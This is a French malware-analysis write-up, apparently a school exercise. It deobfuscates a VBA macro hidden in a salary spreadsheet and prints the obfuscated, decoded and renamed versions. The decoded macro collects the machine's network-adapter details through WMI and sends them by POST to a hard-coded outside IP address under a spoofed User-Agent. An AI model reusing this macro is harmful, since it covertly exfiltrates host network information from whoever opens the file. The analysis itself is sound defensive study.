# Désobfuscation
## Récupération du code
En faisant cette commande `olevba3 salaire_ynov.xlsm --decode` nous pouvons récupérer le code, nous avons ainsi un code illisible à comprendre en vbscript
## Trier l'utile et l'inutile
En jetant un premier coup d'oeil au code, on peut remarquer un bloc de code avec des fonctions qui ont des noms familiers, comme "setRequestHeader", "IPAdress" ou encore "send", je décide d'isoler ce bout de code et d'y intégrer toutes les fonctions qu'il utilise, on se retrouve avec ce code
```vbs
Sub WMI()
sWQL = FLQZEsG("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")
Set kZbQjwYZwI = GetObject(FLQZEsG(Chr(43) & Chr(113) & Chr(57) & Chr(&H34) & Chr(Int("&H56")) & Chr(&H72) & Chr(&H4C) & Chr(Int("&H76")) & Chr(Int("&H64")) & Chr(170940 / 2442) & Chr(Int("110")) & Chr(1223 - 1110) & Chr(Int("110")) & Chr(Int("&H4e")) & Chr(Int("&H39")) & Chr(Int("87")) & Chr(101) & "K" & Chr(101) & Chr(Int("&H52")) & "Q" & Chr(Int("56")) & Chr(184600 / 1775) & Chr(Int("121")) & Chr(&H5A) & Chr(Int("49")) & Chr(Int("48")) & Chr(152073 / 2493)))
Set dC4BuSkdgWA = kZbQjwYZwI.ExecQuery(sWQL)
Set DKr6 = CreateObject(FLQZEsG(Chr(81) & Chr(2414 - 2338) & Chr(Int("99")) & Chr(9876 - 9762) & Chr(266728 / 3031) & "I" & Chr(&H68) & Chr(43) & "H" & Chr(Int("&H30")) & "C" & "o" & Chr(Int("&H76")) & Chr(675 - 565) & Chr(718 - 648) & Chr(99) & Chr(9498 - 9399) & Chr(Int("114")) & Chr(-2313 + 2418) & Chr(2184 - 2111) & Chr(Int("86")) & Chr(103) & Chr(Int("68")) & Chr(52) & Chr(Int("65")) & Chr(3600 - 3492) & Chr(Int("107")) & Chr(Int("&H3d"))))
URL = FLQZEsG("oPhSWbpN2wOqXn0DsED1C7hEUQuwWNMKqFjYRvil0lj6+H1f")
Debug.Print URL
Dim mWDaeVN()
For Each oWMIObjEx In dC4BuSkdgWA
If Not IsNull(oWMIObjEx.IPAddress) Then
Debug.Print Chr(73) & Chr(242240 / 3028) & Chr(Int("58")); oWMIObjEx.IPAddress(0)
DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE
DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
DKr6.send oWMIObjEx.IPAddress(0)
Debug.Print FLQZEsG(Chr(109) & Chr(Int("&H4f")) & Chr(Int("&H48")) & "T" & Chr(&H58) & Chr(Int("&H66")) & Chr(Int("67")) & Chr(&H45) & Chr(Int("&H30")) & Chr(Int("&H56")) & Chr(&H58) & Chr(Int("52")) & Chr(Int("43")) & Chr(Int("&H6e")) & Chr(Int("49")) & Chr(Int("&H4d"))); oWMIObjEx.DNSHostName
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
Debug.Print oWMIProp.Name & Chr(Int("40")) & n & Chr(&H29), oWMIProp.Value(n)
DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE
DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
DKr6.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
DKr6.Open "P" & Chr(Int("&H4f")) & Chr(Int("83")) & Chr(&H54), URL, TRUE
DKr6.setRequestHeader FLQZEsG(Chr(-2622 + 2725) & Chr(3356 - 3276) & "v" & Chr(Int("&H31")) & Chr(&H55) & Chr(Int("113")) & Chr(Int("&H69")) & Chr(87600 / 1095) & Chr(&H34) & Chr(Int("&H6c")) & Chr(&H54) & Chr(113) & Chr(43) & Chr(&H6C) & Chr(130751 / 2467) & Chr(-1217 + 1317)), FLQZEsG("gvr2UPAh/Q3iEHADwHXWCvCAzFXwNnBS+l5UCuiNWBWAM+kSgPzVUrhr3RO6X14AoFIURui28Vi6bvsRsEBxCw==")
DKr6.send oWMIProp.Value
End If
Next
End If
Next
End Sub
```
## Utilisation de la macro de Excel
En utilisant la macro de Excel ainsi que des Debug.Print, nous sommes capables de comprendre ce qu'affiche réellement les strings illisibles telles que `FLQZEsG("gq14V+IwdBHohEVdaK7ySOp3F0yC71Zdqra7UKDjUFxotvVUoqbfVaDy8Vb46X9V")`
on se retrouve avec ce code (les Debug.Print ayant été enlevé):
```vbs
Sub WMI()
sWQL = "Select * From Win32_NetworkAdapterConfiguration"
Set kZbQjwYZwI = GetObject("winmgmts:root/CIMV2")
Set dC4BuSkdgWA = kZbQjwYZwI.ExecQuery(sWQL)
Set DKr6 = CreateObject("MSXML2.ServerXMLHTTP")
URL = "http://176.31.120.218:5000/thisis"
Dim mWDaeVN()
For Each oWMIObjEx In dC4BuSkdgWA
If Not IsNull(oWMIObjEx.IPAddress) Then
DKr6.Open "POST", URL, TRUE
DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
DKr6.send oWMIObjEx.IPAddress(0)
For Each oWMIProp In oWMIObjEx.Properties_
If IsArray(oWMIProp.Value) Then
For n = LBound(oWMIProp.Value) To UBound(oWMIProp.Value)
DKr6.Open "POST", URL, TRUE
DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
DKr6.send oWMIProp.Value(n)
Next
Else
Debug.Print oWMIProp.Name, oWMIProp.Value
DKr6.Open "POST", URL, TRUE
DKr6.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
DKr6.send oWMIProp.Value
End If
Next
End If
Next
End Sub
```
## Compréhension du code avec les noms de variables
On commence à avoir un code qui se comprend, pour que ce soit bien clair, on modifie les noms des variables, on arrive à ca:
```vbs
Sub WMI()
Querry = "Select * From Win32_NetworkAdapterConfiguration"
Set Object = GetObject("winmgmts:root/CIMV2")
Set QuerryResponses = Object.ExecQuery(Querry)
Set ObjectXML = CreateObject("MSXML2.ServerXMLHTTP")
URL = "http://176.31.120.218:5000/thisis"
For Each response In QuerryResponses
If Not IsNull(response.IPAddress) Then
ObjectXML.Open "POST", URL, TRUE
ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
ObjectXML.send response.IPAddress(0)
For Each property In response.Properties_
If IsArray(property.Value) Then
For n = LBound(property.Value) To UBound(property.Value)
ObjectXML.Open "POST", URL, TRUE
ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
ObjectXML.send property.Value(n)
Next
Else
ObjectXML.Open "POST", URL, TRUE
ObjectXML.setRequestHeader "User-Agent", "Opera/9.34 (X11; Linux i686; en-US) Presto/2.9.340 Version/11.00"
ObjectXML.send property.Value
End If
Next
End If
Next
End Sub
```
## Conclusion
En lisant ce code nous pouvons conclure que celui-ci récupère les informations du réseau de la machine hote, ainsi que toutes ses propriétés, et l'envoie à une adresse ip par une requête post